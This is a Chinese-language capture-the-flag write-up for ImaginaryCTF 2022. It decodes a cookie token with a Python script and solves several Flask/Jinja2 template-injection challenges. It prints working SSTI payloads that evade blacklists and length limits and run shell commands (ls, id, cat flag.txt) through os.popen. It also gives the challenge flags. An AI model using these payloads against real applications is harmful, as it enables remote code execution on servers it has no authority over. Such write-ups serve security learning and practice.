ImaginaryCTF2022
[toc]
平台链接:Home Page - ImaginaryCTF
瞎点,出现了
然后搜索alert,发现这个东西
控制台执行
rooCookie
关键代码
1 2 3 4 5 6 7 8 9 10 11
| <script> function createToken(text) { let encrypted = ""; for (let i = 0; i < text.length; i++) { encrypted += ((text[i].charCodeAt(0)-43+1337) >> 0).toString(2) } document.cookie = encrypted }
document.cookie = "token=101100000111011000000110101110011101100000001010111110010101101111101011110111010111001110101001011101001100001011000000010101111101101011111011010011000010100101110101001101001010010111010101111110101011011111011000000110110000001101100001011010111110110110000000101011100101010100101110100110000101011101111010111000110110000010101011101001011000100110101110110101001111101010111111010101000001101011011011010100010110101110110101011011111010100010110101101101101100001011010110111110101000011101011111001010100010110101101101101100000101010011111010100111110101011011011010111000010101000010101011100101011000101110100110000" </script>
|
已知的是加密后的数据,我们根据这个信息来写逆向解密脚本
相关函数
charCodeAt() 方法可返回指定位置的字符的 Unicode 编码。这个返回值是 0 - 65535 之间的整数。
根据可显示字符对应的是32到127左右的字符,同时-43+1337也就是+1294,所以可以根据这个判断转为二进制后,都是11位的二进制字符串
然后写逆向脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import re def cut_text(text,lenth): textArr = re.findall('.{'+str(lenth)+'}', text) textArr.append(text[(len(textArr)*lenth):]) return textArr
flag = '' token = '101100000111011000000110101110011101100000001010111110010101101111101011110111010111001110101001011101001100001011000000010101111101101011111011010011000010100101110101001101001010010111010101111110101011011111011000000110110000001101100001011010111110110110000000101011100101010100101110100110000101011101111010111000110110000010101011101001011000100110101110110101001111101010111111010101000001101011011011010100010110101110110101011011111010100010110101101101101100001011010110111110101000011101011111001010100010110101101101101100000101010011111010100111110101011011011010111000010101000010101011100101011000101110100110000'
print(cut_text(token,11))
s = cut_text(token,11) for i in s: a = chr(int('0b'+i,2)-1294) flag += a print(flag)
|
结果
username=”roo” & password=”ictf{h0p3_7ha7_wa5n7_t00_b4d}”
minigolf
题目很明显,flask模板注入,但是过滤了["{{", "}}", "[", "]", "_"]
,同时字符串长度限制了69
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| from flask import Flask, render_template_string, request, Response import html
app = Flask(__name__)
blacklist = ["{{", "}}", "[", "]", "_"]
@app.route('/', methods=['GET']) def home(): print(request.args) if "txt" in request.args.keys(): txt = html.escape(request.args["txt"]) if any([n in txt for n in blacklist]): return "Not allowed." if len(txt) <= 69: return render_template_string(txt) else: return "Too long." return Response(open(__file__).read(), mimetype='text/plain')
app.run('0.0.0.0', 1337)
|
使用config.update
1 2 3
| {%if%20config.update(a=request.args.a)==1%20%}1{%%20endif%}&a=__globals__ {%if%20config.update(g=request.args.g)==1%20%}1{%%20endif%}&g=ls {%print(lipsum|attr(config.a)).os.popen(config.g).read()%}
|
然后将第二个修改为cat flag.txt
1 2 3
| {%if%20config.update(a=request.args.a)==1%20%}1{%%20endif%}&a=__globals__ {%if%20config.update(g=request.args.g)==1%20%}1{%%20endif%}&g=cat%20flag.txt {%print(lipsum|attr(config.a)).os.popen(config.g).read()%}
|
Democracy
直接就显示flag了
ictf{i'm_sure_you_0btained_this_flag_with0ut_any_sort_of_trickery...}
SSTI Golf
python的模板注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
|
from flask import Flask, render_template_string, request, Response
app = Flask(__name__)
@app.route('/') def index(): return Response(open(__file__).read(), mimetype='text/plain')
@app.route('/ssti') def ssti(): query = request.args['query'] if 'query' in request.args else '...' if len(query) > 48: return "Too long!" return render_template_string(query)
app.run('0.0.0.0', 1337)
|
测试
回显49
解法一
回显root,将命令换为cat *
ictf{F!1+3r5s!?}
解法二
使用config.update
,将相关函数写入config中
本题因为限制了字符串长度,所以使用即可
下面这个已知修改config中a的值
1 2 3 4 5
| {{config.update(a=lipsum)}} {{config.update(a=config[%27a%27].__globals__)}} {{config.update(a=config[%27a%27].__builtins__)}} {{config.update(a=config[%27a%27].eval)}} {{config.a(request.args.b)}}&b=__import__(%27os%27).popen(%27id%27).read()
|
1 2
| {{config.update({"a":cycler.__init__})}} {{config.a.__globals__.os.popen("nl%20*").read()}}
|
下面这个题目不是该比赛中的题目,是这个平台daily challenge里面的一个题目
daliy challenge
Almost SSTI
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
|
from flask import Flask, render_template_string, request, Response
app = Flask(__name__)
@app.route('/') def index(): return Response(open(__file__).read(), mimetype='text/plain')
@app.route('/ssti') def ssti(): query = request.args['query'] if len(query) > 2: return "Too long!" return render_template_string(query)
app.run('0.0.0.0', 3002, debug=True)
|
debug模式是开启的,构造报错
1 2
| http: __import__("os").popen("ls").read
|